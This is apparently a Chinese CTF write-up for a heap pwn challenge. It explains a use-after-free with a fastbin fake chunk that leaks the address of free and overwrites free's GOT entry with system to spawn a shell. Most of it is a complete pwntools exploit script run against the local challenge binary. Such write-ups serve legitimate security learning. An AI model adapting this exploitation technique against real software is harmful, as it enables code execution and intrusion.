-
-
[原创]西电中学生比赛pwn2
-
2018-6-15 03:14
5108
-
比赛的时候没有做出来,时间不够(好像也没其它人做出来qwq
题目给出的hints是unlink,实际上用不到这个技术。
我用的use after free 实现的。
主要思路是:利用悬指针产生use after use漏洞。
申请第一条消息。
申请第二条消息。
保存第一条消息到悬指针区域。(set_top_msg)
释放第一条消息。
修改悬指针指向的数据,即可改动已经释放的chunk
fastbin:
chunk1 -> msg2 -> fakechunk -> 0
重新申请两次消息即可获得msg2,从而控制msg2中的数据指针域。
为了绕过一些坑,保证堆不出错,一定要构造一个fakechunk,大小和对应bin相同,fd指针为0即可。
msg2中的指针域可控后,先泄露free的地址,再修改got@free =》 system。
chunk1 可以存/bin/sh
free chunk1 即可获得shell
exp如下
from pwn import *
p = process('./pwn2_unlink')
elf = ELF('./pwn2_unlink')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def wait():
p.recvuntil('choice: ')
def add_msg(size, msg):
wait()
p.sendline('1')
p.recvuntil('size: ')
p.sendline(str(size))
p.recvuntil('content:')
p.sendline(msg)
def show_all_msg():
wait()
s = ''
p.sendline('2')
s += p.recvline()
ret = p.recvline() #2
s += ret
ret = ret.strip()
s += p.recvuntil('---')
addr = (u64(ret.split('] ')[1].ljust(8,'\x00')))
print s
return addr
def delete_msg(idx):
wait()
p.sendline('3')
p.recvuntil('message: ')
p.sendline(str(idx))
#p.recvuntil('success.')
def set_top_msg(idx):
wait()
p.sendline('4')
p.recvuntil('message: ')
p.sendline(str(idx))
p.recvuntil('success.')
def show_top_msg():
wait()
p.sendline('5')
ret = p.recv()
print ret
return ret
def delete_top_msg():
wait()
p.sendline('6')
def change_top_msg(new_conten):
wait()
p.sendline('7')
p.sendline(new_conten)
#p.recvuntil('success.')
#exp
#pass fast bin check.
fake_chunk = ''
fake_chunk += p64(0)
fake_chunk += p64(0x21)
fake_chunk += p64(0)
add_msg(0x18,'A') # 1
add_msg(0x21,fake_chunk) # 2
add_msg(0x18,'CCCC') #3
add_msg(0x18,'DDDD') #4
set_top_msg(1) # copy chunk1's pointer to top msg
delete_msg(1) #free chunk1
#gdb.attach(p)
# use after freee.e
#set chunk1's Fd to msg2
msg2_addr = 0x6020E0 + 0x8 * 3
change_top_msg(p64(msg2_addr))
#gdb.attach(p)
add_msg(0x18,'/bin/sh') #1
add_msg(0x18,p64(elf.got['free'])) #3
free = show_all_msg() #3
print 'free:',hex(free)
image_base = free - libc.symbols['free']
system = image_base + libc.symbols['system']
set_top_msg(2)
delete_msg(4)
change_top_msg(p64(system))
delete_msg(1)
p.interactive()
p.sendline('8')
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法